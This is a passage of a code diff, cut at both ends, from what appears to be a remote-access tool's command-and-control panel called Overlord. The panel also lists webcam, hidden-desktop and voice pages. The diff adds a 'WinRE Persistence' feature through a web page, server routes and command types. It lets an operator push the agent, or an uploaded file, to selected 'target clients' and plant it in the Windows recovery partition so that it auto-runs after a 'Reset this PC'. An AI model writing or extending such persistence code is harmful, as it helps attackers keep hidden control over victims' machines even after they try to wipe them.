outputContainer.innerHTML = `<div class="text-blue-400">Installing WinRE persistence (self) on ${clientIds.length} client(s)...</div>`;
|
||||||
|
|
||||||
|
let results = [];
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/winre/install-self", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ clientIds }),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: `HTTP error! status: ${res.status}`,
|
||||||
|
}));
|
||||||
|
} else {
|
||||||
|
const data = await res.json();
|
||||||
|
if (!data.ok) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: data.error || "Unknown error",
|
||||||
|
}));
|
||||||
|
} else {
|
||||||
|
results = data.results || [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: error.message,
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
renderResults(results, "WinRE Install (self)");
|
||||||
|
installSelfBtn.disabled = false;
|
||||||
|
});
|
||||||
|
|
||||||
|
installFileBtn.addEventListener("click", async () => {
|
||||||
|
if (selectedClients.size === 0) {
|
||||||
|
alert("Please select at least one client");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!uploaded?.uploadId) {
|
||||||
|
alert("Please upload a file first");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
installFileBtn.disabled = true;
|
||||||
|
const clientIds = Array.from(selectedClients);
|
||||||
|
outputContainer.innerHTML = `<div class="text-blue-400">Installing WinRE persistence (file) on ${clientIds.length} client(s)...</div>`;
|
||||||
|
|
||||||
|
let results = [];
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/winre/install", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({
|
||||||
|
uploadId: uploaded.uploadId,
|
||||||
|
clientIds,
|
||||||
|
}),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: `HTTP error! status: ${res.status}`,
|
||||||
|
}));
|
||||||
|
} else {
|
||||||
|
const data = await res.json();
|
||||||
|
if (!data.ok) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: data.error || "Unknown error",
|
||||||
|
}));
|
||||||
|
} else {
|
||||||
|
results = data.results || [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: error.message,
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
renderResults(results, "WinRE Install (file)");
|
||||||
|
installFileBtn.disabled = false;
|
||||||
|
});
|
||||||
|
|
||||||
|
// Uninstall WinRE persistence
|
||||||
|
uninstallBtn.addEventListener("click", async () => {
|
||||||
|
if (selectedClients.size === 0) {
|
||||||
|
alert("Please select at least one client");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!confirm("Uninstall WinRE persistence from selected clients?\n\nThis removes the entire Recovery\\OEM directory.")) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
uninstallBtn.disabled = true;
|
||||||
|
const clientIds = Array.from(selectedClients);
|
||||||
|
outputContainer.innerHTML = `<div class="text-blue-400">Uninstalling WinRE persistence from ${clientIds.length} client(s)...</div>`;
|
||||||
|
|
||||||
|
let results = [];
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/winre/uninstall", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ clientIds }),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: `HTTP error! status: ${res.status}`,
|
||||||
|
}));
|
||||||
|
} else {
|
||||||
|
const data = await res.json();
|
||||||
|
if (!data.ok) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: data.error || "Unknown error",
|
||||||
|
}));
|
||||||
|
} else {
|
||||||
|
results = data.results || [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
results = clientIds.map((clientId) => ({
|
||||||
|
clientId,
|
||||||
|
error: error.message,
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
renderResults(results, "WinRE Uninstall");
|
||||||
|
uninstallBtn.disabled = false;
|
||||||
|
});
|
||||||
|
|
||||||
|
clearOutputBtn.addEventListener("click", () => {
|
||||||
|
outputContainer.innerHTML =
|
||||||
|
'<div class="text-slate-500">No commands dispatched yet.</div>';
|
||||||
|
});
|
||||||
|
|
||||||
|
checkAuth();
|
||||||
|
loadClients();
|
||||||
@@ -0,0 +1,207 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html lang="en" class="dark">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>WinRE Persistence - Overlord</title>
|
||||||
|
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||||
|
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||||
|
<link
|
||||||
|
rel="stylesheet"
|
||||||
|
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||||
|
crossorigin="anonymous"
|
||||||
|
referrerpolicy="no-referrer"
|
||||||
|
/>
|
||||||
|
<link rel="stylesheet" href="/assets/main.css" />
|
||||||
|
<script src="/assets/toast.js"></script>
|
||||||
|
<script src="/assets/ripple.js"></script>
|
||||||
|
</head>
|
||||||
|
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||||
|
<header id="top-nav"></header>
|
||||||
|
|
||||||
|
<main class="w-full px-4 sm:px-6 lg:px-8 py-8">
|
||||||
|
<div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
|
||||||
|
<!-- Client Selector -->
|
||||||
|
<div class="lg:col-span-3">
|
||||||
|
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
|
||||||
|
<div class="flex items-center justify-between mb-4">
|
||||||
|
<div>
|
||||||
|
<h2 class="text-xl font-semibold">Select Target Clients</h2>
|
||||||
|
<p class="text-sm text-slate-400">
|
||||||
|
Windows clients only — requires admin privileges on the target
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center gap-2 text-sm text-slate-400">
|
||||||
|
<span id="selected-count">0 selected</span>
|
||||||
|
<button
|
||||||
|
id="clear-selection-btn"
|
||||||
|
class="px-3 py-1 rounded-lg border border-slate-700 bg-slate-800/50 hover:bg-slate-700 transition-colors"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-xmark"></i> Clear
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Search and Filters -->
|
||||||
|
<div class="flex gap-3 mb-4">
|
||||||
|
<div class="flex-1 relative">
|
||||||
|
<i class="fa-solid fa-search absolute left-3 top-1/2 -translate-y-1/2 text-slate-500"></i>
|
||||||
|
<input
|
||||||
|
id="client-search"
|
||||||
|
type="text"
|
||||||
|
placeholder="Search by hostname, ID, or user..."
|
||||||
|
class="w-full pl-10 pr-4 py-2 rounded-lg border border-slate-700 bg-slate-800 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-cyan-500"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
id="select-all-btn"
|
||||||
|
class="px-4 py-2 rounded-lg border border-slate-700 bg-slate-800/50 hover:bg-slate-700 transition-colors whitespace-nowrap"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-check-double"></i> Select All
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Client List -->
|
||||||
|
<div
|
||||||
|
id="client-list"
|
||||||
|
class="max-h-64 overflow-y-auto border border-slate-700 rounded-lg bg-slate-950"
|
||||||
|
>
|
||||||
|
<div class="p-4 text-center text-slate-500">Loading clients...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- WinRE Persistence Form -->
|
||||||
|
<div class="lg:col-span-3">
|
||||||
|
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
|
||||||
|
<div class="flex items-center justify-between mb-4">
|
||||||
|
<div>
|
||||||
|
<h2 class="text-xl font-semibold">
|
||||||
|
<i class="fa-solid fa-shield-halved text-amber-400 mr-2"></i>WinRE Persistence
|
||||||
|
</h2>
|
||||||
|
<p class="text-sm text-slate-400">
|
||||||
|
Survive Windows push resets — the file will start after the user signs in post-reset
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div class="flex flex-wrap items-center gap-2">
|
||||||
|
<button
|
||||||
|
id="install-self-btn"
|
||||||
|
class="px-6 py-2 rounded-lg bg-amber-600 hover:bg-amber-700 text-white font-semibold disabled:opacity-50 disabled:cursor-not-allowed flex items-center gap-2"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-rotate-left"></i> Install (Current Agent)
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
id="install-file-btn"
|
||||||
|
class="px-6 py-2 rounded-lg bg-cyan-600 hover:bg-cyan-700 text-white font-semibold disabled:opacity-50 disabled:cursor-not-allowed flex items-center gap-2"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-cloud-arrow-up"></i> Install (Upload File)
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
id="uninstall-btn"
|
||||||
|
class="px-6 py-2 rounded-lg bg-red-600 hover:bg-red-700 text-white font-semibold disabled:opacity-50 disabled:cursor-not-allowed flex items-center gap-2"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-trash-can"></i> Uninstall
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="space-y-4">
|
||||||
|
<!-- Source mode tabs -->
|
||||||
|
<div class="flex gap-1 p-1 rounded-lg bg-slate-950/60 border border-slate-800 w-fit">
|
||||||
|
<button id="tab-self" class="px-4 py-1.5 rounded-md text-sm font-medium bg-slate-700 text-slate-100 transition-colors">
|
||||||
|
<i class="fa-solid fa-robot mr-1"></i> Current Agent EXE
|
||||||
|
</button>
|
||||||
|
<button id="tab-upload" class="px-4 py-1.5 rounded-md text-sm font-medium text-slate-400 hover:text-slate-100 transition-colors">
|
||||||
|
<i class="fa-solid fa-cloud-arrow-up mr-1"></i> Upload File
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Self panel -->
|
||||||
|
<div id="panel-self">
|
||||||
|
<div class="rounded-lg border border-slate-800 bg-slate-950/60 p-4 text-sm text-slate-300">
|
||||||
|
<div class="flex items-center gap-3">
|
||||||
|
<div class="w-10 h-10 rounded-full bg-amber-900/40 flex items-center justify-center text-amber-300">
|
||||||
|
<i class="fa-solid fa-robot"></i>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<div class="font-semibold text-slate-100">Use the currently running agent</div>
|
||||||
|
<div class="text-xs text-slate-500">
|
||||||
|
The agent will copy its own executable into the WinRE recovery partition.
|
||||||
|
After a push reset, it will auto-start when the user signs in.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Upload panel -->
|
||||||
|
<div id="panel-upload" class="hidden">
|
||||||
|
<div
|
||||||
|
id="upload-zone"
|
||||||
|
class="border-2 border-dashed border-slate-700 rounded-xl p-6 bg-slate-950/60 hover:border-cyan-500 transition-colors cursor-pointer"
|
||||||
|
>
|
||||||
|
<div class="flex items-center gap-4">
|
||||||
|
<div class="w-12 h-12 rounded-full bg-cyan-900/40 flex items-center justify-center text-cyan-300">
|
||||||
|
<i class="fa-solid fa-cloud-arrow-up"></i>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<div class="font-semibold text-slate-100">Drag & drop a file</div>
|
||||||
|
<div class="text-sm text-slate-400">or click to select a file to persist through reset</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<input id="upload-input" type="file" class="hidden" />
|
||||||
|
</div>
|
||||||
|
<div class="mt-3 text-sm text-slate-400" id="upload-status">
|
||||||
|
No file uploaded yet.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Info box -->
|
||||||
|
<div class="rounded-lg border border-amber-800/50 bg-amber-950/30 p-4 text-sm text-slate-300">
|
||||||
|
<div class="flex items-start gap-3">
|
||||||
|
<i class="fa-solid fa-triangle-exclamation text-amber-400 mt-0.5"></i>
|
||||||
|
<div>
|
||||||
|
<div class="font-semibold text-amber-200 mb-1">Requirements & Notes</div>
|
||||||
|
<ul class="space-y-1 text-slate-400 list-disc list-inside">
|
||||||
|
<li>Requires <strong>Administrator privileges</strong> on the target machine</li>
|
||||||
|
<li>Windows only — uses the Recovery\OEM ResetConfig mechanism</li>
|
||||||
|
<li>The file is placed in <code class="text-xs bg-slate-800 px-1 rounded">C:\Recovery\OEM\</code> and a RunOnce registry entry is created during reset</li>
|
||||||
|
<li>After a push reset (Settings → Recovery → Reset this PC), the file will auto-run on first sign-in</li>
|
||||||
|
<li>Uninstall removes the entire OEM recovery directory</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Output -->
|
||||||
|
<div class="lg:col-span-3">
|
||||||
|
<div class="bg-slate-900/70 rounded-xl border border-slate-800 p-6">
|
||||||
|
<div class="flex items-center justify-between mb-4">
|
||||||
|
<h2 class="text-xl font-semibold">Results</h2>
|
||||||
|
<button
|
||||||
|
id="clear-output-btn"
|
||||||
|
class="px-4 py-2 rounded-lg border border-slate-700 bg-slate-800/50 hover:bg-slate-700 text-sm"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-trash"></i> Clear
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
id="output-container"
|
||||||
|
class="min-h-64 max-h-96 overflow-auto px-4 py-3 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 font-mono text-sm whitespace-pre-wrap"
|
||||||
|
>
|
||||||
|
<div class="text-slate-500">
|
||||||
|
No commands dispatched yet.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<script type="module" src="/assets/nav.js"></script>
|
||||||
|
<script type="module" src="/assets/winre.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -76,6 +76,8 @@ export enum AuditAction {
|
|||||||
ENROLLMENT_DENY = "enrollment_deny",
|
ENROLLMENT_DENY = "enrollment_deny",
|
||||||
ENROLLMENT_SETTINGS = "enrollment_settings",
|
ENROLLMENT_SETTINGS = "enrollment_settings",
|
||||||
ENROLLMENT_BULK = "enrollment_bulk",
|
ENROLLMENT_BULK = "enrollment_bulk",
|
||||||
|
WINRE_INSTALL = "winre_install",
|
||||||
|
WINRE_UNINSTALL = "winre_uninstall",
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface AuditLogEntry {
|
export interface AuditLogEntry {
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ import { handleEnrollmentRoutes } from "./server/routes/enrollment-routes";
|
|||||||
import { handleBuildRoutes } from "./server/routes/build-routes";
|
import { handleBuildRoutes } from "./server/routes/build-routes";
|
||||||
import { handleAssetsRoutes } from "./server/routes/assets-routes";
|
import { handleAssetsRoutes } from "./server/routes/assets-routes";
|
||||||
import { handleDeployRoutes } from "./server/routes/deploy-routes";
|
import { handleDeployRoutes } from "./server/routes/deploy-routes";
|
||||||
|
import { handleWinRERoutes } from "./server/routes/winre-routes";
|
||||||
import { cleanupFileTransferTempFiles, handleFileDownloadRoutes } from "./server/routes/file-download-routes";
|
import { cleanupFileTransferTempFiles, handleFileDownloadRoutes } from "./server/routes/file-download-routes";
|
||||||
import { handleClientRoutes } from "./server/routes/client-routes";
|
import { handleClientRoutes } from "./server/routes/client-routes";
|
||||||
import { handleMiscRoutes } from "./server/routes/misc-routes";
|
import { handleMiscRoutes } from "./server/routes/misc-routes";
|
||||||
@@ -141,6 +142,7 @@ const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim()
|
|||||||
const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json");
|
const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json");
|
||||||
const DATA_DIR = ensureDataDir();
|
const DATA_DIR = ensureDataDir();
|
||||||
const DEPLOY_ROOT = path.join(DATA_DIR, "deploy");
|
const DEPLOY_ROOT = path.join(DATA_DIR, "deploy");
|
||||||
|
const WINRE_ROOT = path.join(DATA_DIR, "winre");
|
||||||
|
|
||||||
const TLS_CERT_PATH = config.tls.certPath;
|
const TLS_CERT_PATH = config.tls.certPath;
|
||||||
const TLS_KEY_PATH = config.tls.keyPath;
|
const TLS_KEY_PATH = config.tls.keyPath;
|
||||||
@@ -213,6 +215,15 @@ type DeployUpload = {
|
|||||||
|
|
||||||
const deployUploads = new Map<string, DeployUpload>();
|
const deployUploads = new Map<string, DeployUpload>();
|
||||||
|
|
||||||
|
type WinREUpload = {
|
||||||
|
id: string;
|
||||||
|
path: string;
|
||||||
|
name: string;
|
||||||
|
size: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
const winreUploads = new Map<string, WinREUpload>();
|
||||||
|
|
||||||
type NotificationRateState = {
|
type NotificationRateState = {
|
||||||
lastSent: number;
|
lastSent: number;
|
||||||
windowStart: number;
|
windowStart: number;
|
||||||
@@ -326,6 +337,10 @@ async function startServer() {
|
|||||||
detectUploadOs,
|
detectUploadOs,
|
||||||
normalizeClientOs,
|
normalizeClientOs,
|
||||||
},
|
},
|
||||||
|
winre: {
|
||||||
|
WINRE_ROOT,
|
||||||
|
winreUploads,
|
||||||
|
},
|
||||||
fileDownload: {
|
fileDownload: {
|
||||||
DATA_DIR,
|
DATA_DIR,
|
||||||
secureHeaders,
|
secureHeaders,
|
||||||
@@ -508,6 +523,7 @@ async function startServer() {
|
|||||||
handleUsersRoutes,
|
handleUsersRoutes,
|
||||||
handleBuildRoutes,
|
handleBuildRoutes,
|
||||||
handleDeployRoutes,
|
handleDeployRoutes,
|
||||||
|
handleWinRERoutes,
|
||||||
handleFileDownloadRoutes,
|
handleFileDownloadRoutes,
|
||||||
handlePluginRoutes,
|
handlePluginRoutes,
|
||||||
handleMiscRoutes,
|
handleMiscRoutes,
|
||||||
|
|||||||
@@ -100,7 +100,9 @@ export type CommandType =
|
|||||||
| "agent_update"
|
| "agent_update"
|
||||||
| "clipboard_set"
|
| "clipboard_set"
|
||||||
| "clipboard_sync_start"
|
| "clipboard_sync_start"
|
||||||
| "clipboard_sync_stop";
|
| "clipboard_sync_stop"
|
||||||
|
| "winre_install"
|
||||||
|
| "winre_uninstall";
|
||||||
|
|
||||||
export type Command = {
|
export type Command = {
|
||||||
type: "command";
|
type: "command";
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ type HttpDispatchDeps<
|
|||||||
TNotificationsConfig,
|
TNotificationsConfig,
|
||||||
TBuild,
|
TBuild,
|
||||||
TDeploy,
|
TDeploy,
|
||||||
|
TWinRE,
|
||||||
TFileDownload,
|
TFileDownload,
|
||||||
TPlugin,
|
TPlugin,
|
||||||
TMisc,
|
TMisc,
|
||||||
@@ -40,6 +41,7 @@ type HttpDispatchDeps<
|
|||||||
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
||||||
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
||||||
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
|
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
|
||||||
|
handleWinRERoutes: RouteHandlerWithServerDeps<TServer, TWinRE>;
|
||||||
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
|
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
|
||||||
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
|
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
|
||||||
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
|
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
|
||||||
@@ -51,6 +53,7 @@ type HttpDispatchDeps<
|
|||||||
notificationsConfig: TNotificationsConfig;
|
notificationsConfig: TNotificationsConfig;
|
||||||
build: TBuild;
|
build: TBuild;
|
||||||
deploy: TDeploy;
|
deploy: TDeploy;
|
||||||
|
winre: TWinRE;
|
||||||
fileDownload: TFileDownload;
|
fileDownload: TFileDownload;
|
||||||
plugin: TPlugin;
|
plugin: TPlugin;
|
||||||
misc: TMisc;
|
misc: TMisc;
|
||||||
@@ -66,6 +69,7 @@ export function createHttpFetchHandler<
|
|||||||
TNotificationsConfig,
|
TNotificationsConfig,
|
||||||
TBuild,
|
TBuild,
|
||||||
TDeploy,
|
TDeploy,
|
||||||
|
TWinRE,
|
||||||
TFileDownload,
|
TFileDownload,
|
||||||
TPlugin,
|
TPlugin,
|
||||||
TMisc,
|
TMisc,
|
||||||
@@ -79,6 +83,7 @@ export function createHttpFetchHandler<
|
|||||||
TNotificationsConfig,
|
TNotificationsConfig,
|
||||||
TBuild,
|
TBuild,
|
||||||
TDeploy,
|
TDeploy,
|
||||||
|
TWinRE,
|
||||||
TFileDownload,
|
TFileDownload,
|
||||||
TPlugin,
|
TPlugin,
|
||||||
TMisc,
|
TMisc,
|
||||||
@@ -118,6 +123,9 @@ export function createHttpFetchHandler<
|
|||||||
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
|
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
|
||||||
if (deployResponse) return deployResponse;
|
if (deployResponse) return deployResponse;
|
||||||
|
|
||||||
|
const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre);
|
||||||
|
if (winreResponse) return winreResponse;
|
||||||
|
|
||||||
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
|
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
|
||||||
if (fileDownloadResponse) return fileDownloadResponse;
|
if (fileDownloadResponse) return fileDownloadResponse;
|
||||||
|
|
||||||
|
|||||||
@@ -84,6 +84,7 @@ const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
|
|||||||
{ path: "/webcam", file: "webcam.html" },
|
{ path: "/webcam", file: "webcam.html" },
|
||||||
{ path: "/hvnc", file: "hvnc.html" },
|
{ path: "/hvnc", file: "hvnc.html" },
|
||||||
{ path: "/voice", file: "voice.html" },
|
{ path: "/voice", file: "voice.html" },
|
||||||
|
{ path: "/winre", file: "winre.html" },
|
||||||
];
|
];
|
||||||
|
|
||||||
/** Client-scoped pages accessed via path /:clientId/feature */
|
/** Client-scoped pages accessed via path /:clientId/feature */
|
||||||
|
|||||||
@@ -0,0 +1,294 @@
|
|||||||
|
import fs from "fs/promises";
|
||||||
|
import path from "path";
|
||||||
|
import { v4 as uuidv4 } from "uuid";
|
||||||
|
import { authenticateRequest } from "../../auth";
|
||||||
|
import { AuditAction, logAudit } from "../../auditLog";
|
||||||
|
import * as clientManager from "../../clientManager";
|
||||||
|
import { metrics } from "../../metrics";
|
||||||
|
import { encodeMessage } from "../../protocol";
|
||||||
|
import { createUploadPull } from "./file-download-routes";
|
||||||
|
|
||||||
|
type RequestIpProvider = {
|
||||||
|
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
type WinREUpload = {
|
||||||
|
id: string;
|
||||||
|
path: string;
|
||||||
|
name: string;
|
||||||
|
size: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
type WinRERouteDeps = {
|
||||||
|
WINRE_ROOT: string;
|
||||||
|
winreUploads: Map<string, WinREUpload>;
|
||||||
|
};
|
||||||
|
|
||||||
|
export async function handleWinRERoutes(
|
||||||
|
req: Request,
|
||||||
|
url: URL,
|
||||||
|
server: RequestIpProvider,
|
||||||
|
deps: WinRERouteDeps,
|
||||||
|
): Promise<Response | null> {
|
||||||
|
if (!url.pathname.startsWith("/api/winre")) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/winre/upload") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
if (user.role !== "admin") {
|
||||||
|
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
let form: FormData;
|
||||||
|
try {
|
||||||
|
form = await req.formData();
|
||||||
|
} catch {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const file = form.get("file");
|
||||||
|
if (!(file instanceof File)) {
|
||||||
|
return new Response("Missing file", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const filename = path.basename(file.name || "upload.exe");
|
||||||
|
const id = uuidv4();
|
||||||
|
await fs.mkdir(deps.WINRE_ROOT, { recursive: true });
|
||||||
|
const folder = path.join(deps.WINRE_ROOT, id);
|
||||||
|
await fs.mkdir(folder, { recursive: true });
|
||||||
|
const targetPath = path.join(folder, filename);
|
||||||
|
const bytes = new Uint8Array(await file.arrayBuffer());
|
||||||
|
await fs.writeFile(targetPath, bytes);
|
||||||
|
|
||||||
|
const entry: WinREUpload = {
|
||||||
|
id,
|
||||||
|
path: targetPath,
|
||||||
|
name: filename,
|
||||||
|
size: bytes.length,
|
||||||
|
};
|
||||||
|
deps.winreUploads.set(id, entry);
|
||||||
|
|
||||||
|
return Response.json({ ok: true, uploadId: id, name: filename, size: bytes.length });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/winre/install") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
if (user.role !== "admin") {
|
||||||
|
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
|
||||||
|
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||||
|
if (!uploadId || clientIds.length === 0) {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const upload = deps.winreUploads.get(uploadId);
|
||||||
|
if (!upload) {
|
||||||
|
return new Response("Not found", { status: 404 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||||
|
|
||||||
|
for (const clientId of clientIds) {
|
||||||
|
const target = clientManager.getClient(clientId);
|
||||||
|
if (!target) {
|
||||||
|
results.push({ clientId, ok: false, reason: "offline" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientOs = (target.os || "").toLowerCase();
|
||||||
|
if (!clientOs.includes("windows")) {
|
||||||
|
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`;
|
||||||
|
const destPath = `${destDir}\\${upload.name}`;
|
||||||
|
|
||||||
|
const pullId = createUploadPull({
|
||||||
|
clientId,
|
||||||
|
filePath: upload.path,
|
||||||
|
fileName: upload.name,
|
||||||
|
size: upload.size,
|
||||||
|
});
|
||||||
|
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
|
||||||
|
|
||||||
|
target.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "file_upload_http" as any,
|
||||||
|
id: uuidv4(),
|
||||||
|
payload: { path: destPath, url: pullUrl, total: upload.size },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
const cmdId = uuidv4();
|
||||||
|
target.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "winre_install",
|
||||||
|
id: cmdId,
|
||||||
|
payload: { filePath: destPath },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
metrics.recordCommand("winre_install");
|
||||||
|
logAudit({
|
||||||
|
timestamp: Date.now(),
|
||||||
|
username: user.username,
|
||||||
|
ip: server.requestIP(req)?.address || "unknown",
|
||||||
|
action: AuditAction.WINRE_INSTALL,
|
||||||
|
targetClientId: clientId,
|
||||||
|
success: true,
|
||||||
|
